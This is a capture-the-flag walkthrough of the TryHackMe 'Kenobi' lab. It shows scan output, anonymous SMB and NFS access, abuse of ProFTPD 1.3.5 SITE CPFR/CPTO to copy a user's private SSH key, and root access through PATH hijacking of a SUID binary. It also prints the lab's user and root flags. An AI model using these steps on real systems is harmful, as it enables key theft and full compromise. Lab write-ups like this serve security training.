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CTF-Writeups/TryHackMe/Kenobi.md

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2020-10-04 18:11:47 +00:00
# TryHackMe-Kenobi
> Abdullah Rizwan | 09:57 PM
## NMAP
```
Nmap scan report for 10.10.93.137
Host is up (0.17s latency).
Not shown: 993 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
| 256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
|_ 256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/admin.html
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100003 2,3,4 2049/udp nfs
| 100003 2,3,4 2049/udp6 nfs
| 100005 1,2,3 40755/tcp mountd
| 100005 1,2,3 43479/udp6 mountd
| 100005 1,2,3 52935/tcp6 mountd
| 100005 1,2,3 60855/udp mountd
| 100021 1,3,4 36153/tcp nlockmgr
| 100021 1,3,4 38263/tcp6 nlockmgr
| 100021 1,3,4 45056/udp nlockmgr
100021 1,3,4 36153/tcp nlockmgr [3/35]
| 100021 1,3,4 38263/tcp6 nlockmgr
| 100021 1,3,4 45056/udp nlockmgr
| 100021 1,3,4 45196/udp6 nlockmgr
| 100227 2,3 2049/tcp nfs_acl
| 100227 2,3 2049/tcp6 nfs_acl
| 100227 2,3 2049/udp nfs_acl
|_ 100227 2,3 2049/udp6 nfs_acl
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp open nfs_acl 2-3 (RPC #100227)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h39m59s, deviation: 2h53m13s, median: -1s
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: kenobi
| NetBIOS computer name: KENOBI\x00
| Domain name: \x00
| FQDN: kenobi
|_ System time: 2020-10-04T11:58:20-05:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-10-04T16:58:19
|_ start_date: N/A
```
## SMB
We know that port 139 and 445 is open so we can try using `smbclient`
```
smbclient -L \\\\10.10.93.137\\
Enter WORKGROUP\root's password:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
anonymous Disk
IPC$ IPC IPC Service (kenobi server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
root@kali:~/TryHackMe/Easy/Kenobi# smbclient \\\\10.10.93.137\\anonymous
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Sep 4 15:49:09 2019
.. D 0 Wed Sep 4 15:56:07 2019
log.txt N 12237 Wed Sep 4 15:49:09 2019
9204224 blocks of size 1024. 6876284 blocks available
```
We'll `log.txt` so to get it locally `get log.txt`
## Rpc Bind PORT 111
`nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.93.137`
```
Nmap scan report for 10.10.93.137
Host is up (0.18s latency).
PORT STATE SERVICE
111/tcp open rpcbind
| nfs-ls: Volume /var
| access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION UID GID SIZE TIME FILENAME
| rwxr-xr-x 0 0 4096 2019-09-04T08:53:24 .
| rwxr-xr-x 0 0 4096 2019-09-04T12:27:33 ..
| rwxr-xr-x 0 0 4096 2019-09-04T12:09:49 backups
| rwxr-xr-x 0 0 4096 2019-09-04T10:37:44 cache
| rwxrwxrwt 0 0 4096 2019-09-04T08:43:56 crash
| rwxrwsr-x 0 50 4096 2016-04-12T20:14:23 local
| rwxrwxrwx 0 0 9 2019-09-04T08:41:33 lock
| rwxrwxr-x 0 108 4096 2019-09-04T10:37:44 log
| rwxr-xr-x 0 0 4096 2019-01-29T23:27:41 snap
| rwxr-xr-x 0 0 4096 2019-09-04T08:53:24 www
|_
| nfs-showmount:
|_ /var *
| nfs-statfs:
| Filesystem 1K-blocks Used Available Use% Maxfilesize Maxlink
|_ /var 9204224.0 1839224.0 6874404.0 22% 16.0T 32000
Nmap done: 1 IP address (1 host up) scanned in 7.11 seconds
```
## FTP PORT 21
`nc 10.10.93.137 21`
```
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.93.137]
```
Now we can copy the contents from and to , see we know from the `log.txt` that there is an ssh key for user `kenobi` so we can copy it to mnt share which is `var`.
```
root@kali:~/TryHackMe/Easy/Kenobi# nc 10.10.93.137 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.93.137]
SITE CFPR /home/kenobi/.ssh/id_rsa
500 'SITE CFPR' not understood
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
```
Now we need to mount it to our system in system directory `/mnt`
```
root@kali:~/TryHackMe/Easy/Kenobi# mkdir /mnt/kenobiNFS
root@kali:~/TryHackMe/Easy/Kenobi# mount 10.10.93.137:/var /mnt/kenobiNFS
root@kali:~/TryHackMe/Easy/Kenobi# cd /mnt
root@kali:/mnt# ls -la
total 12
drwxr-xr-x 3 root root 4096 Oct 4 22:15 .
drwxr-xr-x 18 root root 4096 Aug 28 06:07 ..
drwxr-xr-x 14 root root 4096 Sep 4 2019 kenobiNFS
root@kali:/mnt# cd Ke
-bash: cd: Ke: No such file or directory
root@kali:/mnt# cd kenobiNFS/
root@kali:/mnt/kenobiNFS# ls -la
total 56
drwxr-xr-x 14 root root 4096 Sep 4 2019 .
drwxr-xr-x 3 root root 4096 Oct 4 22:15 ..
drwxr-xr-x 2 root root 4096 Sep 4 2019 backups
drwxr-xr-x 9 root root 4096 Sep 4 2019 cache
drwxrwxrwt 2 root root 4096 Sep 4 2019 crash
drwxr-xr-x 40 root root 4096 Sep 4 2019 lib
drwxrwsr-x 2 root staff 4096 Apr 13 2016 local
lrwxrwxrwx 1 root root 9 Sep 4 2019 lock -> /run/lock
drwxrwxr-x 10 root crontab 4096 Sep 4 2019 log
drwxrwsr-x 2 root mail 4096 Feb 27 2019 mail
drwxr-xr-x 2 root root 4096 Feb 27 2019 opt
lrwxrwxrwx 1 root root 4 Sep 4 2019 run -> /run
drwxr-xr-x 2 root root 4096 Jan 30 2019 snap
drwxr-xr-x 5 root root 4096 Sep 4 2019 spool
drwxrwxrwt 6 root root 4096 Oct 4 22:13 tmp
drwxr-xr-x 3 root root 4096 Sep 4 2019 www
```
Now to unmount use
`umount /mnt/kenobiNFS`
## SSH PORT 22
Now that we have the private key , change it's permissions to default `chmod 600 id_rsa` and log in
```
ssh kenobi@10.10.93.137 -i id_rsa
```
User flag : `d0b0f3f53b6caa532a83915e19224899`
## Privilege Escalation
Looking Set User Id (SUID)
#### Running on Attacker Machine
```
find / -perm -u=s -type f 2>/dev/null
/usr/libexec/polkit-agent-helper-1
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/fusermount3
/usr/bin/kismet_cap_ti_cc_2531
/usr/bin/kismet_cap_ti_cc_2540
/usr/bin/mount
/usr/bin/bwrap
/usr/bin/chfn
/usr/bin/kismet_cap_nrf_mousejack
/usr/bin/pkexec
/usr/bin/kismet_cap_linux_bluetooth
/usr/bin/kismet_cap_linux_wifi
/usr/bin/chsh
/usr/bin/kismet_cap_nrf_51822
/usr/bin/kismet_cap_nxp_kw41z
/usr/bin/newgrp
/usr/bin/ntfs-3g
/usr/bin/umount
/usr/bin/sudo
/usr/sbin/mount.cifs
/usr/sbin/mount.nfs
/usr/sbin/pppd
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/usr/lib/virtualbox/VBoxNetAdpCtl
/usr/lib/virtualbox/VBoxNetDHCP
/usr/lib/virtualbox/VBoxHeadless
/usr/lib/virtualbox/VBoxNetNAT
/usr/lib/virtualbox/VBoxVolInfo
/usr/lib/virtualbox/VirtualBoxVM
/usr/lib/virtualbox/VBoxSDL
/usr/lib/chromium/chrome-sandbox
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/share/discord/chrome-sandbox
/usr/share/code/chrome-sandbox
```
#### Running on Target Machine
```
kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
```
We can see the difference that `/usr/bin/menu` stands very odd
Running the binary we can see `3` options
```
kenobi@kenobi:~$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
```
```
kenobi@kenobi:/tmp$ echo /bin/sh > curl
kenobi@kenobi:/tmp$ chmod 777
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
kenobi@kenobi:/tmp$ echo $IP
kenobi@kenobi:/tmp$ echo $PATH
/tmp:/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
kenobi@kenobi:/tmp$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
# bash
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@kenobi:/tmp# whoami
root
root@kenobi:/tmp# id
uid=0(root) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
root@kenobi:/tmp#
```
Root flag `177b3cd8562289f37382721c28381f02`
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